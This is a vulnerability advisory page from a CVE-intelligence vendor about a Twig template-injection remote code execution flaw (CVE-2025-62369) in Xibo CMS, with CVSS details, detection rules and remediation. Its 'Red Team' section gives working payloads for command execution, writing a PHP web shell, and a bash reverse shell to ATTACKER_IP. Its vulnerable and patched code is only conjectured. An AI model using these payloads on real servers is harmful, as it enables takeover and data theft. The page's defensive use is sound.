☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-62369

CVE-2025-62369 Remote Code Execution in Xibo
📅 PUBLISHED: 2025-11-04 21:18 UTC 🔄 UPDATED: 2026-09-23 20:22 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.90%
👁️
0.90% probability
22.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-62369 is a critical Remote Code Execution (RCE) vulnerability affecting Xibo, an open-source digital signage platform. The flaw resides in the CMS Developer menu's Module Templating functionality, specifically within the handling of Twig filters. An authenticated attacker with the "System -> Add/Edit custom modules and templates" permission can inject malicious Twig filters, leading to arbitrary server-side function execution as the web server user. This allows for full compromise of the Xibo CMS server, including data exfiltration, lateral movement, and potential disruption of digital signage operations. The vulnerability is present in versions 4.3.0 and below, with a fix released in version 4.3.1. The CVSS score is 7.2 (High), and while no public proof-of-concept (PoC) or exploit code is currently available, the technical details are sufficient for a skilled attacker to develop one.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Xibo is a PHP-based application that relies on the Twig templating engine. The vulnerability is not a direct supply chain compromise of a package, but rather a misuse of the Twig library's capabilities. The risk is that an attacker with legitimate but elevated CMS permissions can abuse the templating system to execute arbitrary code. This highlights the importance of strict input validation and permission controls within CMS platforms that allow user-defined templates.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely over the network.
  • Attack Complexity (AC): Low (L) - No special conditions are required; the attacker only needs to send crafted requests.
  • Privileges Required (PR): Low (L) - The attacker needs an authenticated account with specific permissions.
  • User Interaction (UI): None (N) - No user interaction is required for exploitation.
  • Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the affected component.
  • Confidentiality (C): High (H) - Full read access to the server's filesystem and databases is possible.
  • Integrity (I): High (H) - Full write access to the server's filesystem is possible.
  • Availability (A): High (H) - The attacker can disrupt the service or delete critical files.

Threat Level: High. The combination of low attack complexity, network exploitability, and high impact makes this a serious threat. The requirement for authentication and specific permissions slightly reduces the risk, but once an attacker has those, full compromise is trivial.

Deep Dive & Mechanics

The vulnerability lies in the CMS Developer menu's Module Templating functionality. Xibo uses the Twig templating engine to render custom modules and templates. The twig library provides a filter tag that allows applying filters to template variables. The vulnerable code does not properly sanitize or restrict the filters that can be applied by users with the "System -> Add/Edit custom modules and templates" permission.

An attacker can craft a malicious Twig template that uses the filter tag to call arbitrary PHP functions. For example, the Twig filter |map can be used to execute a callback on an array. By injecting a filter like |map('system'), the attacker can execute operating system commands. The Twig engine will then execute the system function with the attacker-controlled input, leading to RCE.

The core issue is that the application trusts user-supplied Twig filters without validating them against a whitelist of safe functions. This allows an attacker to bypass the intended template sandbox and execute arbitrary code.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.3.0): The vulnerable code likely resides in the module/template editing functionality. It might look something like this (conceptual):

// Vulnerable: Directly passes user input to Twig's filter
$template = "{{ data|" . $userFilter . " }}";
$twig->createTemplate($template)->render(['data' => $userInput]);

Patched Code (4.3.1): The patched code introduces a whitelist of allowed Twig filters and functions. It also sanitizes the user input to prevent injection of arbitrary function calls.

// Patched: Whitelist of allowed filters
$allowedFilters = ['escape', 'upper', 'lower', 'date', 'number_format'];
$userFilter = $request->get('filter');
if (!in_array($userFilter, $allowedFilters)) {
    throw new \Exception('Invalid filter');
}
$template = "{{ data|" . $userFilter . " }}";
$twig->createTemplate($template)->render(['data' => $userInput]);

The patch ensures that only predefined, safe filters can be used, preventing the execution of arbitrary functions like system, exec, or shell_exec.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to a Xibo CMS instance (version <= 4.3.0).
  • An authenticated user account with the "System -> Add/Edit custom modules and templates" permission.

Exploitation Steps:

  1. Login: Authenticate to the Xibo CMS web interface.
  2. Navigate to Developer Menu: Go to the CMS Developer menu and select "Module Templating".
  3. Create a Malicious Template: Create a new template or edit an existing one. In the template content, inject a malicious Twig filter. For example:
    {{ ['id']|map('system') }}
    
    This will execute the id command on the server.
  4. Save and Render: Save the template and trigger its rendering (e.g., by assigning it to a display or previewing it). The command will execute, and the output will be displayed in the rendered content.
  5. Escalate: Use the initial RCE to establish a reverse shell or execute further commands.

Example Payloads:

  • Execute a command and display output: {{ ['ls -la']|map('system') }}
  • Write a web shell: {{ ['echo "<?php system($_GET[\'cmd\']); ?>" > /var/www/html/shell.php']|map('system') }}
  • Reverse shell: {{ ['bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"']|map('system') }}

Blue Team

Detection:

  • Monitor for unusual Twig template modifications, especially by users with the "System -> Add/Edit custom modules and templates" permission.
  • Look for templates containing suspicious filters like map, filter, reduce, or any function names that are not standard Twig filters.
  • Monitor web server logs for requests to the module templating endpoints with unusual parameters.

Hunting:

  • Search for templates that contain the string |map( or |filter( in the database.
  • Review all templates created or modified after the vulnerability disclosure date.
  • Check for any new files in the web root that could be web shells.

Prevention:

  • Immediately upgrade to Xibo version 4.3.1 or apply the patch commits for versions 4.1 and 4.2.
  • If upgrading is not possible, restrict the "System -> Add/Edit custom modules and templates" permission to only trusted administrators.
  • Implement a Web Application Firewall (WAF) rule to block requests containing suspicious Twig filter patterns.

Indicators of Compromise (IOCs)

  • File System:
    • Unexpected files in the web root (e.g., shell.php, cmd.php).
    • Modified Twig template files in the custom or templates directory.
  • Network:
    • Outbound connections from the Xibo server to unknown IP addresses on common ports (e.g., 4444, 1337).
    • Unusual HTTP requests to the Xibo CMS API endpoints related to module templating.
  • Logs:
    • Web server logs showing requests to /api/module/template or similar endpoints with parameters containing |map( or |filter(.
    • Application logs showing errors related to Twig template compilation or execution.
  • Processes:
    • Unexpected processes spawned by the web server user (e.g., bash, nc, python).

Detection Engineering

YARA Rule

rule Xibo_CVE_2025_62369_Twig_RCE {
    meta:
        description = "Detects malicious Twig templates exploiting CVE-2025-62369"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62369"
    strings:
        $twig_filter = /\|(map|filter|reduce)\s*\(/ nocase
        $dangerous_func = /(system|exec|shell_exec|passthru|popen|proc_open|eval|assert|create_function|preg_replace)/ nocase
    condition:
        $twig_filter and $dangerous_func
}

Sigma Rule

title: Xibo CMS Twig Template RCE Attempt
id: xibo-cve-2025-62369
status: experimental
description: Detects attempts to exploit CVE-2025-62369 by injecting malicious Twig filters
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-62369
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/api/module/template'
            - '/api/module/template/*'
        cs-uri-query:
            - '*|map(*'
            - '*|filter(*'
            - '*|reduce(*'
    condition: selection
falsepositives:
    - Legitimate use of Twig filters by administrators (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Xibo CMS Twig Template RCE Attempt (CVE-2025-62369)"; flow:to_server,established; content:"POST"; http_method; content:"/api/module/template"; http_uri; pcre:"/\|(map|filter|reduce)\s*\(/Ui"; classtype:attempted-admin; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: Upgrade Xibo CMS to version 4.3.1 or later. This is the only complete fix.
  2. Patch: If upgrading is not immediately possible, apply the patch commits for versions 4.1 and 4.2 as mentioned in the advisory.
  3. Restrict Permissions: Immediately review and restrict the "System -> Add/Edit custom modules and templates" permission to only essential personnel. Consider temporarily removing this permission from all users until the patch is applied.

Long-Term Mitigations:

  • Input Validation: Implement strict input validation and whitelisting for all user-supplied Twig filters and functions.
  • Least Privilege: Ensure that the web server user has minimal permissions on the filesystem. Do not run the web server as root.
  • Monitoring: Continuously monitor for suspicious template modifications and unusual server behavior.
  • WAF Rules: Deploy WAF rules to block requests containing known malicious Twig filter patterns.

Workaround: If upgrading is not possible, the workaround is to apply the patch commits for versions 4.1 and 4.2. These commits likely introduce the same filter whitelist as the 4.3.1 fix.


Valters IT
Securing Digital Signage, One Patch at a Time

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-62369/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.